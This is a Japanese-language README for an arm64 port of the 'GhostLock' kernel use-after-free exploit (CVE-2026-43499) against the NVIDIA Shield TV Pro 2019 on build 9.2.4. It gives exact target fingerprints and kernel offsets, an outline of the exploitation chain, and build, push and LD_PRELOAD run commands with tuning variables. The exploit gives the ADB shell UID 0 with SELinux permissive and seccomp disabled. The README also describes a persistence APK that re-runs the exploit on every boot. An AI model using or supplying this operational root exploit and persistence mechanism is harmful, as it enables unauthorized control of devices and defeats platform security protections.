
検証済みのGhostLock CVE-2026-43499ポート、NVIDIA Shield TV Pro mdarcy 9.2.4向け
2019年モデルのNVIDIA Shield TV Pro(mdarcy)でShield Experience 9.2.4を実行している環境向けに検証済みの、GhostLock futex PI use-after-free(CVE-2026-43499)のarm64移植版です。このペイロードは稼働中のADBデーモンの資格情報を変更するため、ブートローダーのアンロック、ユーザーデータのワイプ、suのインストール、検証済みパーティションの変更なしで、新しいADBシェルがUID 0になります。
これは特定ビルド向けのカーネルエクスプロイトであり、認可されたセキュリティ研究を目的としています。 不一致やレースの失敗はカーネルパニックを引き起こす可能性があります。他のフィンガープリント、カーネル、デバイス、ハードウェアリビジョンでは実行しないでください。
| フィールド | 必須値 |
|---|---|
| 製品 | NVIDIA Shield TV Pro 2019、mdarcy |
| フィンガープリント | NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys |
| カーネル | 4.9.141-tegra-gb6e5605a |
| Androidパッチレベル | 2026-01-05 |
| カーネルベース | 0xffffff8008080000(オフセット無効) |
この移植版は、Verified Bootがグリーンでdm-verityが強制されているロック済みデバイスで検証されました。エクスプロイトは稼働中のカーネル状態のみを変更するため、これらのメカニズムはそのまま維持されます。
実行が成功すると、新しい接続ではadbdとその子シェルの両方でUID/GID 0が報告され、ケーパビリティ37までの全ケーパビリティ、seccomp無効、SELinux permissiveが適用されます。root権限はADBクライアントの切断後も維持されますが、adbdの再起動やデバイスの再起動だけでは維持されません。
検証済みパーティションを変更せずに実用的な再起動後の持続性を実現するため、リポジトリにはuserdata APKが含まれています。その非エクスポートBOOT_COMPLETEDレシーバーは短命のフォアグラウンドサービスを起動し、このサービスが非特権アプリUIDからブートごとにハッシュ固定されたエクスプロイトを1回実行し、ランナーが終了すると停止します。インストール後は外部ホストは不要です。リカバリのフォールバックとして外部Podmanウォッチドッグも利用可能です。persistence/README.mdとwatchdog/README.mdを参照してください。
これは自律的な再エクスプロイトであり、静的ファームウェアパッチではありません。毎回のブートでadbdがまだ標準の資格情報を持つ短い間隔があります。Androidが初期化する前にadbdをrootとして起動させるには、検証済みブートチェーンを変更する必要があり、これはロック済み・ワイプなしの設計の範囲外です。
rt_mutex_waiterを保持します。MCAST_BLOCK_SOURCEでスタンプし、rt-mutexツリー操作をリダイレクトします。mm_structスラブページを整形されたskbペイロードで再利用します。ashmem_misc.fopsをレガシーconfigfs読み取り/書き込みハンドラによってバックアップされた偽テーブルにリダイレクトします。adbd PIDを特定し、その完全な資格情報オブジェクトを検証します。継承されたパイプバッファ物理読み取り/書き込みステージは使用されません。詳細なターゲット観察結果と検証済みオフセットはPORT_STATUS.mdにあります。
コンパイラはAndroid NDK r29(aarch64-linux-android30-clang)です。インストール済みのLinux NDKで直接ビルドします:
cd exploit
make NDK=/opt/android-ndk-r29
または、提供されているPodmanイメージをビルドします。このイメージは公式のr29 Linuxアーカイブをダウンロードし、展開前に公開されているSHA-1をチェックします:
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
-v "$PWD:/src:Z" \
-w /src/exploit \
ghostlock-android:ndk-r29 make -B
出力:
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761
Shieldビルドは、参照プロジェクトに組み込まれているsuデーモンと壁紙ペイロードを意図的に除外しています。
認可されたネットワークADBで接続し、リリースアセットまたはローカルビルドをプッシュしてから、ADBシェルに入ります:
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
exploit/build/preload-mdarcy-9.2.4.so \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell
そのデバイスシェル内で以下を実行します:
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true
切断して検証用に新しいトランスポートを開きます:
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'
ペイロードは、GHOSTLOCK_FORCE_ROOT_TRIGGER=1が意図的に指定されない限り、すでにUID 0のADBシェルからの再トリガーを拒否します。強制しないでください。特権スケジューリングパスは異なるPI動作を持ち、パニックを引き起こす可能性があります。
署名済みリリースAPKをpersistence/app/build/ghostlock-boot-mdarcy-9.2.4.apkにダウンロードし、認可されたPowerShell ADBホストからインストールして有効化します:
./persistence/install.ps1 `
-Target SHIELD_ADDRESS:5555 `
-AdbPath C:/path/to/platform-tools/adb.exe
インストーラーはuserdataのみを変更し、再起動は行いません。次のBOOT_COMPLETEDで、アプリは正確なフィンガープリント、カーネル、埋め込みペイロードのハッシュを検証し、試行を記録して、通常のアプリUIDからGhostLockを呼び出します。ファイルロック、ブートごとに1回の試行状態、および15分間のクロスブートクールダウンにより、重複または再起動ループの試行を防ぎます。suバイナリはインストールされません。Androidはネイティブランナーがアクティブな間のみ、優先度の低いRestoring ADB root通知を表示します。プロセスが終了するとウェイターが通知を削除します。ビルド、署名、ログ、検証、リカバリ、アンインストールの詳細についてはpersistence/README.mdを参照してください。
最終APKは外部ウォッチドッグを停止した状態で検証されました:ブートカウント134で初めて標準のUID-2000/enforcingのadbdが公開され、次の新しいトランスポートはUID/GID 0で完全な0x3fffffffffケーパビリティマスク、seccomp無効、SELinux permissiveでした。サービスと通知は自己クリーンアップされていました。
手動実行の診断情報は/sdcard/Download/log_<timestamp>.txtに同期的に書き込まれ、失敗時は/data/local/tmpにフォールバックします。ブートアプリはランナーとペイロードの出力をプライベートなfiles/boot.logにリダイレクトし、run-as com.cyberbalsa.ghostlockbootで読み取れます。レースがカーネルをパニックさせた場合、事前トリガー状態によりそのブートカウントでの別の試行が防止され、15分間のクールダウンが再起動をまたいで引き継がれます。
exploit/src/:トリガー、再利用、任意読み取り/書き込み、境界付きadbd資格情報パッチ。exploit/targets/shield-mdarcy-9.2.4/:正確なビルド固有ターゲットレイアウト。analysis/:カーネルシンボルとレイアウト抽出ヘルパー。persistence/:デバイス上のブートAPK、ネイティブランナー、インストーラー。watchdog/:ハッシュ固定されたホスト側リカバリフォールバック。report.md:出典保持のための元のOPPO参照移植分析。この移植版は、NebuSecが公開したGhostLock研究およびエクスプロイトフレームワークと、yijiacloudによるOPPO PCKM00参照移植版に由来します。KernelSnitchはその上流の条件に基づいて組み込まれています。
Apache-2.0;LICENSEを参照してください。